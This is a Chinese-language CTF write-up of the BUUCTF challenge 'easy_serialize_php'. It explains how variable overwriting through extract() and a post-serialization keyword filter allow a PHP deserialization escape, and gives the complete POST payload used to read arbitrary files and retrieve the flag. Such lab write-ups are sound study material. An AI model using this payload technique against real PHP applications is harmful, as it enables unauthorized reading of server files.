考点:

变量覆盖、反序列化中的对象逃逸

题目地址:BUUCTF在线评测

源码如下:

 <?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
} 

传入参数为phpinfo,会eval执行phpinfo

发现了一个文件,d0g3_flag.php,后面待用。

分析源代码总结这道题思路如下:

通过利用file_get_contents来获取flag,往前推关键是$userinfo['img']这个变量要是个文件才可以。这个变量是serialize_info反序列化来的。然而 serialize_info又是_SESSION序列化在经过filter函数得来的。又因为$userinfo['img']有img这个键值,那么往前推应该是 _SESSION这个变量里也要有img这个键值。

大体分析清楚后,明白这里就有利用的空间了:

$serialize_info = filter(serialize($_SESSION));//

数据经过序列化了之后又经过了一层过滤函数,而这层过滤函数会干扰序列化后的数据。

任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。

fiter函数过滤'php','flag','php5','php4','fl1g'这几个,所以我们待会可以控制序列化连里的某些键值为过滤的这些:'php','flag','php5','php4','fl1g',导致其长度与前面的数量不匹配,进而会和后面的键值对结合,造成反序列化对象逃逸。这里到构造序列化链时在细说。

可以通过控制_SESSION变量的img键值为含有flag的某个文件,最后赋值给到$userinfo['img'],那一经file_get_contents读取便可拿到flag。

知道怎么利用img参数了,这里有几个注意的地方如下:

if(!$_GET['img_path']){//$_GET['img_path'] 为空情况下会默认给定一个图片文件名 然后进行base64编码 赋值给SESSION$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}//这里对接收到的img文件名进行base64编码和sha1加密

这里会对强行给img键值赋值,但是不影响,当用POST__传参新的序列化值进去后, extract($POST);这个函数会将构造的新的键值重新赋值给img,这里就是变量覆盖了。

构造开始,首先构造序列化链:

因为$userinfo['img']是要经过base解码的,所以我们要将待会给img键值赋值时应先进行编码:

先利用刚刚得到的d0g3_f1ag.php,先读一下这个文件,它的 base64编码是ZDBnM19mMWFnLnBocA==

$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));

得到: "a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"**

令user值为'flagflagflagflagflagflag'

function值为:'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}'

img值不变,即:

$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA=='; 

序列化得到:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

因为flag被过滤了,所以最终序列化链应该为:

 a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

可以看到,user的内容长度依旧为24,但是已经没有内容了,所以反序列化时会自动往后读取24位:会读取到上图的位置,然后结束,由于user的序列化内容读取数据时需要往后填充24位,导致后面function的内容也发生了改变,吞掉了其双引号,导致我们可以控制后面的序列化内容。这里引用原文的解释:安洵杯2019 官方Writeup(Web/Misc) - D0g3 - 先知社区。

php反序列化时,当一整段内容反序列化结束后,后面的非法字符将会被忽略,而如何判断是否结束呢,可以看到,前面有一个a:3,表示序列化的内容是一个数组,有三个键,而以{作为序列化内容的起点,}作为序列化内容的终点。

所以此时后面的";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}在反序列化时就会被当作非法字符忽略掉,导致我们可以控制$userinfo["img"]的值,达到任意文件读取的效果。

分析完毕,最终构造如下:

url?file参数应该为show_image,下面的语句才会成立。

}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
} 

POST传的参数如下:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';

f12查看源代码:

提示flag在/d0g3_fllllllag里面,对d0g3_fllllllag进行base64编码:

L2QwZzNfZmxsbGxsbGFn,

再次构造参数,拿到flag。

最后这里还有个小疑问:

看别人构造的时候,发现&$_SESSION['img'] = 'L2QwZzNfZmxsbGxsbGFn';不用传进去也可以拿到flag:

那么序列化的时候不就成了只有两个键进行序列化,那最后的";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}根本没有出现呀,那又怎么会构成反序列化对象img逃逸,被赋值为L3VwbG9hZC9ndWVzdF9pbWcuanBn??那后面的img不是mei有赋到值吗???( 本人新手小白,希望大佬们不吝赐教,这里为啥是这样)

ps:

若引用文章侵权,麻烦您第一时间跟我联系,我好删改,本人ctf新手,还望师傅们不吝赐教,欢迎斧正!感谢阅读。

BUUCTF [安洵杯 2019]easy_serialize_php相关推荐

  1. 【BUUCTF】[安洵杯 2019]吹着贝斯扫二维码

    题目链接:[安洵杯 2019]吹着贝斯扫二维码. 下载压缩包解压得到这么一些文件,可以看到一堆未知类型文件和一个flag.zip 老规矩,把这些没有拓展名的文件用010Editor打开,发现都是jpg ...

  2. BUUCTF:[安洵杯 2019]不是文件上传

    这题和攻防世界XCTF:upload有点像,看似上传却都不是上传是上传图片的文件名注入 参考:安洵杯2019 官方Writeup 获取源码 在网站首页存在一些信息 在gihtub找得到源码 BUU也给 ...

  3. [安洵杯 2019]吹着贝斯扫二维码

    [安洵杯 2019]吹着贝斯扫二维码 压缩包解压后得到一些无后缀文件,和一个flag.zip 查看flag.zip内容发现尾部有类似base32的数据,先不管去看那些文件(这题其实可以用不到其他文件) ...

  4. [安洵杯 2019]iamthinking

    /www.zip下载源码审计 通过README可以看到是ThinkPHP6.0. 当前只能访问到/public/index.php, 关于这个框架的index.php [thinkphp6源码分析一 ...

  5. BUUCTF:[安洵杯 2019]吹着贝斯扫二维码

    题目地址:https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]%E5%90%B9%E7%9D%80%E8%B4%9D%E6% ...

  6. BUUCTF msic 专题(115)[安洵杯 2019]easy misc

    下载附件,有三个文件,依次查看 图片中发现了两个IEND证明应该有两张图片拼成了这一张,进行foremost 发现有两张一样的图片,stegsolve查看分离出的图片 很明显的盲水印,用blindwa ...

  7. 第二届安洵杯2019部分writeup

    Web easy_web 参数可疑:?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= TXpVek5UTTFNbVUzTURabE5qYz0进行两次base64解密, ...

  8. 【安洵杯 2019】easy-web

    涉及内容:base64解码.代码审计.MD5强类型注入.命令注入绕过 打开控制器,查看源代码,可以看到md5 is funny,可知这题应该会出现MD5 其余信息一无所获后,看到网站: 看到img=T ...

  9. [安洵杯 2019]Attack (详细解析)

    (*本文使用工具,均为windows系统,这些工具kali系统自带,有的人不喜欢用kali系统,主页有windows下载资源) 题目链接: https://buuoj.cn/challenges#[% ...

最新文章

  1. adobe就不敢把融合做得更好一点?
  2. 从0到1,了解NLP中的文本相似度
  3. 带你从源码角度分析ViewGroup中事件分发流程
  4. 机器学习/梯度下降算法
  5. ***工具CC***的思路及防范方法
  6. 删除bin后,Eclipse重新编译项目
  7. 【ArcGIS Pro微课1000例】0003:ArcGIS pro 2.5加载OSGB点云模型案例教程
  8. 丢瓶盖(洛谷-P1316)
  9. 39 MM配置-采购-采购订单-STO配置-定义工厂的装运数据
  10. Request 对象、重定向、请求转发
  11. 【算法】剑指 Offer 66. 构建乘积数组
  12. NFC技术:Android中的NFC技术
  13. 屏蔽 已阅读59% 前往新浪新闻查看全文
  14. 【存档】使用OllyDbg+ResHack+LordPE来修改EXE文件
  15. radius源码下载
  16. 博士申请 | 上海交通大学自然科学研究院洪亮教授招收深度学习方向博士生
  17. 地震勘探算法matlab,SeismicLab 地震勘探,matlab程序包, 地球物理, 学。作图工具等。 249万源代码下载- www.pudn.com...
  18. 云计算机是什么技术,什么是云计算技术?
  19. Win11删除文件时提示需要管理员权限
  20. 2021朝阳启声学校高考成绩查询,梦在前方 路在脚下 ———潮阳启声学校2019届高考80天誓师大会...

热门文章

  1. strawberry perl环境安装介绍
  2. 自定义View——弹性滑动
  3. C语言基础——执行顺序
  4. Genero BDL错误
  5. JSP网站开发之HTML入门知识及常用标记符 (一)
  6. Thread详解一(interrupt)
  7. Linux 桌面系统
  8. 光辉国际宣布陈兆丰先生为新任中国区总裁
  9. 医疗his系统用什么服务器,his软件用什么服务器
  10. httprunner之业务解耦